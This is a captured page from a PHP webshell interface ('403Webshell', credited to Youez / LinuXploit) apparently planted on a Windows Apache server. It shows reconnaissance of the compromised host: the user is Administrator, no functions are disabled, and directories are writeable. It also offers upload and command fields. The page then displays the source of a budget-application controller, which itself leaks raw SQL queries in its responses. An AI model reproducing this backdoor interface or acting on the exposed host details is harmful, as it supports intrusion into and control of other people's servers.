403Webshell
Server IP : 127.0.0.1  /  Your IP : 192.168.99.1
Web Server : Apache/2.4.35 (Win64) OpenSSL/1.1.1b mod_fcgid/2.3.9
System : Windows NT WIN-JEJMB9EN0L0 10.0 build 14393 (Windows Server 2016) AMD64
User : Administrator ( 0)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /wamp/www/SIPBOS_2020/application/modules/form_anggaran/controllers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /wamp/www/SIPBOS_2020/application/modules/form_anggaran/controllers/form_anggaran_lama.php
<?php  if ( ! defined('BASEPATH')) exit('No direct script access allowed');

class Form_anggaran extends Userpage_Controller {

  public function __construct()
  {
    parent::__construct();
    $user_data = $this->session->userdata;
    $this->load->vars($user_data);
    $this->load->model('formanggaran_model','data_model');
    $this->load->model('auth/login_model', 'auth');
  }

  public function index()
  {
    $this->load->model('auth/login_model', 'auth');

    $data['breadcrumbs'] = 'Anggaran';
    $data['title'] = 'SIP Keuangan';
    $data['main_content'] = 'formanggaran_view';
    $data['modul'] = 'form_anggaran';
    $data['id_skpd'] = $this->session->userdata('id_skpd');
    $data['kode_skpd'] = $this->session->userdata('kode_skpd');
    $data['nama_skpd'] = $this->session->userdata('nama_skpd');
    $data['status'] = $this->session->userdata('status');
    $data['akses'] = $this->auth->get_level_akses($this->uri->slash_segment(1));
    $this->load->view('layout/template', $data);
  }

  public function rinci()
  {
    $response = (object) NULL;
    $param = array();
    $param['id_skpd']  = $this->input->post('id_skpd') ? $this->input->post('id_skpd') : 0;
    $param['status']    = $this->input->post('status') ? $this->input->post('status') : '';
    $param['tipe']        = $this->input->post('tipe') ? $this->input->post('tipe') : '';
    $param['id_kegiatan'] = $this->input->post('id_kegiatan') ? $this->input->post('id_kegiatan') : 0;
    $param['lanjutan']  = 0;

    $result = $this->data_model->get_rincian_rka($param);
    for($i=0; $i<count($result); $i++)
    {
      $response->rows[$i]['id'] = $result[$i]['ID_RINCIAN_ANGGARAN'];
      $response->rows[$i]['cell'][] = $result[$i]['ID_RINCIAN_ANGGARAN'];
      $response->rows[$i]['cell'][] = $result[$i]['ID_DETIL_REKENING'];
      $response->rows[$i]['cell'][] = $result[$i]['ID_REKENING'];
      $response->rows[$i]['cell'][] = $result[$i]['ID_PARENT_REKENING'];
      $response->rows[$i]['cell'][] = $result[$i]['LEVEL_REKENING'];
      $response->rows[$i]['cell'][] = ($result[$i]['LEVEL_REKENING'] > 0 ? $result[$i]['KODE_REKENING'] : '');
      $response->rows[$i]['cell'][] = $result[$i]['URAIAN'];
      $response->rows[$i]['cell'][] = ($result[$i]['LEVEL_REKENING'] > 0 ? '' : $result[$i]['VOLUME']);
      $response->rows[$i]['cell'][] = $result[$i]['SATUAN'];
      $response->rows[$i]['cell'][] = ($result[$i]['LEVEL_REKENING'] > 0 ? '' : $result[$i]['TARIF']);
      $response->rows[$i]['cell'][] = $result[$i]['PAGU'];
    }
    $response->sql = $this->db->queries;
    echo json_encode($response);
  }

}

Youez - 2016 - github.com/yon3zu
LinuXploit